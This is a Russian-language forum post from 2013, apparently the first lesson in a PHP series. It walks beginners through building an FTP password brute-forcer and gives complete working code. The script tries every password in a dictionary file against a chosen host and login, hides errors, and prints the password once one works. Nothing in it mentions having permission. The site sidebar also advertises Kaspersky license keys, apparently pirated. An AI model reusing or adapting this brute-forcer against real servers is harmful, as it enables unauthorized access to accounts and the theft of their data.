Прикладной PHP кодинг(Урок 1) - Форум
Пятница, 17.05.2024, 14:11 | Приветствую Вас Гость

Жми-форум обо всём

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]

  • Страница 1 из 1
  • 1
Модератор форума: RoMkA29  
Форум » Кодинг » PHP » Прикладной PHP кодинг(Урок 1) (Прикладной PHP кодинг(Урок 1))
Прикладной PHP кодинг(Урок 1)
RoMkA29Дата: Воскресенье, 12.05.2013, 23:51 | Сообщение # 1
Генералиссимус
Группа: Администраторы
Сообщений: 264
Репутация: 3
Статус: Offline
Введение: На написание цикла статей по этой теме меня с подвигла лёгкая ностальгия по perl'у. Перл то, уходит понемногу, а его место занимает php. Да, у php меньше возможностей в некоторых областях. Эксплоиты на нём, например особо не попишешь, но в плане веба, превосходство php очевидно.
Также, небольшие прикладные программы пишутся на нем очень хорошо, и зачастую проще, нежели на перле.
Сразу скажу, что статьи ориентированы на новичков, но не на тех, кто не знает что такое php и что делает if. Так же предполагается, что у читателей на компьютере уже установлен и настроен php интерпретатор(скачать можно на http://php.net)

Тема урока:"ftp bruteforcer"
Краткое описание:
Начинать надо с чего-нибудь несложного, и притом полезного. Как раз к таким вещам относится брутер для ftp.
Что делает: Брутит пароли к определённому логину по словарю. Жрёт мало памяти, нетребователен к ресурсам.

ТП:

2 функции для работы с фтп:
Код
ftp_connect($host,$port,$delay)

Устанавливает соединение с указаным сервером на указаный порт.
В случае успешного коннекта возвращает дескриптор.
Если же за указаноое время $delay соеденение не установлено, возвращает false

Код
ftp_login($descriptor,$login,$pass)


Осуществляет вход на сервер. 
Если вход произведён, возвращает true. Иначе, возвращает false и закрывает соединение.

Например:
Код
$ftp = ftp_connect("localhost",21,100) or die("Can't connect");
ftp_login($ftp,"test","12345") or die("Login incorrect");


Эти 2 функции и будут основой брутера.

Считывание паролей из словаря:

Открытие файла:
Открытие осуществляется функцией fopen($filename,$mode)
При успешном открытии возвращает дескриптор для дальнейшей работы.
Иначе, возвращает false.
В качестве $mode мы будем использовать "rt" , что значит открытие файла на чтение в текстовом режиме.

Код
$dict = fopen("passwords.txt","rt") or die("Can't open dictionary");  
die() -- завершает работу сценария с выводом сообщения.


Чтение строки: 
Чтение в текстовом режиме производит функция fgets($descriptor,$number)
Она читает $number символов из текущей строки и переводит указатель на следущую строку.
Если параметр $number не указан, то читается вся строка(вместе с символами перевода каретки и новой строки).
Для того, чтобы исключть эти символы, используется функция chop($string), которая исключает все пробельные(" ","r","n","t","v") символы из конца строки.

Проверка на конец файла:
Используется функция feof($desciptor) , которая возвращает true, если достигнут конец файла
Код
while (!feof($dict)) {
$pass = chop(fgets($dict)); }

Цикл while работает до тех пор, пока не достигнут конец файла и по очереди записывает каждую строку в переменную $pass. Это основная идея брутера.

Приостановка сценария:

Для приостановки используются 2 функции: sleep($num) и usleep($num)

Различие в том, что sleep() принимает параметр в секундах, а usleep() в миллисекундах
Это всё, что надо знать. Теперь делаем саму программу.

Код
//////////////////Configuration////////////////////
$host = 'localhost'; //Сервер, который брутим
$port = 21; //Порт
$delay = 100; // Таймаут на установку соединения
$pause = 50; //Пауза между соеденениями (в миллисекундах)
$login = 'user'; //Имя, которое брутим
$dictionary = 'passw.txt'; //Файл с паролями
ini_set("display_errors","0"); //Это чтобы при каждой неудачной попытке входа на фтп не вылезало предупреждение////////////////////////////////////////////////////

echo "ntttFTP BRUTEFORCERnHost: $hostnPort: $portnUser : $loginnn"; //Выводим заголовок и информацию
$dict = fopen($dictionary,"rt") or die("Can't open dictionary: $dictionary"); //Открываем файл с паролями, или выдаём ошибку.
$count=1; // Устанавливаем счётчик паролей
while(!feof($dict)) {
$ftp = ftp_connect($host,$port,$delay); //Коннектимся
if (!$ftp) {echo ("Can't connect to servern"); usleep($pause); continue;} //Если приконнектится не удалось, говорим об этом, ждём, и пробуем еще раз
$pass = chop(fgets($dict)); //Считываем пароль
if(ftp_login($ftp,$login,$pass)) //Пробуем авторизоваться
die ("nPassword found: $pass"); // Если авторизовались, говорим, что пароль найден и завершаем работу
else { // Иначе  
echo $pass; //выводим текущий пароль
if (strlen($pass)<20) {for ($i=0;$i!=20-strlen($pass);$i++) echo ' ';} //Выводим кол-во пробелов, недостающее до 20 (для красоты)
echo ": $count passwords checked, brute...n"; // Показываем счётчик, говорим, что брутится
$count++; //Увеличиваем счётчик
usleep($pause); //Делаем паузу
}}
echo "nPassword not found :("; //Если мы оказались здесь, значит ни один пароль из словаря не подошёл, о чем и сообщаем.
?>


Вот и всё пока.
Продолжение следует.
 
Форум » Кодинг » PHP » Прикладной PHP кодинг(Урок 1) (Прикладной PHP кодинг(Урок 1))
  • Страница 1 из 1
  • 1
Поиск:

Навигация
Block title
Форма входа

Наш бот
Наш бот информер

ICQ:636-921-022
Jabber:zhmibot@jabber.ru
Случайные картинки
Случайная музыка
[11.04.2013][mp3]
Миша Маваши – Тебя предупреждали (0)
Миша Маваши – Тебя предупреждали
[11.03.2013][mp3]
реп это слова любви♥-буду - Любовь - это основа любого моего слова, Эта клятва для тебя, я повторяю снова, Переверну весь мир, смешаю день (0)
реп это слова любви♥-буду - Любовь - это основа любого моего слова, Эта клятва для тебя, я повторяю снова, Переверну весь мир, смешаю день
[23.04.2013][mp3]
Sindikat – _Я разобью твоё ебало об клавиатуру (0)
Sindikat – _Я разобью твоё ебало об клавиатуру
Опрос
Вы нашли тут что искали?
Всего ответов: 17
Поиск
Обновление
  • Полезные советы для пользователей Windows XP (1)
  • Ключи для Kaspersky CRYSTAL 2013 до 2014 02 02 (2)
  • Network Traffic Monitor (1)
  • Букмекерская контора Betsstore (0)
  • Глючит компьютер,что делать?! (1)
  • Статистика


    Яндекс.Метрика
    Статистика